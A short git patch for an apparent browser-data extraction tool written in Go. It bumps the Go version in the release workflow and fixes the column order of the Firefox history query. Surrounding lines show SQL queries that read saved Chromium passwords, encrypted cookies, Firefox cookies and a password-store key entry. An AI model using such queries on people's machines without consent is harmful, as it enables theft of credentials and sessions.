From 54cc5da8d7468f36ced504e36387b860b46f8e28 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E1=B4=8D=E1=B4=8F=E1=B4=8F=C9=B4D4=CA=80=E1=B4=8B?= Date: Thu, 3 Sep 2020 17:44:03 +0800 Subject: [PATCH] fix: firefox history last_visit_time null Close #10 --- .github/workflows/release.yml | 2 +- core/common/parse.go | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml index 2c640b4..925c73a 100644 --- a/.github/workflows/release.yml +++ b/.github/workflows/release.yml @@ -33,7 +33,7 @@ jobs: - name: Set up Go uses: actions/setup-go@v2 with: - go-version: 1.14 + go-version: 1.15 - if: matrix.os == 'ubuntu-latest' run: sudo apt-get update && sudo apt-get install -y gcc-multilib - if: matrix.arch == '386' diff --git a/core/common/parse.go b/core/common/parse.go index 962da27..9b85b68 100644 --- a/core/common/parse.go +++ b/core/common/parse.go @@ -39,7 +39,7 @@ var ( queryChromiumLogin = `SELECT origin_url, username_value, password_value, date_created FROM logins` queryChromiumHistory = `SELECT url, title, visit_count, last_visit_time FROM urls` queryChromiumCookie = `SELECT name, encrypted_value, host_key, path, creation_utc, expires_utc, is_secure, is_httponly, has_expires, is_persistent FROM cookies` - queryFirefoxHistory = `SELECT id, url, title, last_visit_date, visit_count FROM moz_places` + queryFirefoxHistory = `SELECT id, url, last_visit_date, title, visit_count FROM moz_places` queryFirefoxBookMarks = `SELECT id, fk, type, dateAdded, title FROM moz_bookmarks` queryFirefoxCookie = `SELECT name, value, host, path, creationTime, expiry, isSecure, isHttpOnly FROM moz_cookies` queryMetaData = `SELECT item1, item2 FROM metaData WHERE id = 'password'` @@ -371,7 +371,7 @@ func (h *historyData) FirefoxParse() error { url, title string visitCount int ) - err = historyRows.Scan(&id, &url, &title, &visitDate, &visitCount) + err = historyRows.Scan(&id, &url, &visitDate, &title, &visitCount) h.history = append(h.history, history{ Title: title, Url: url,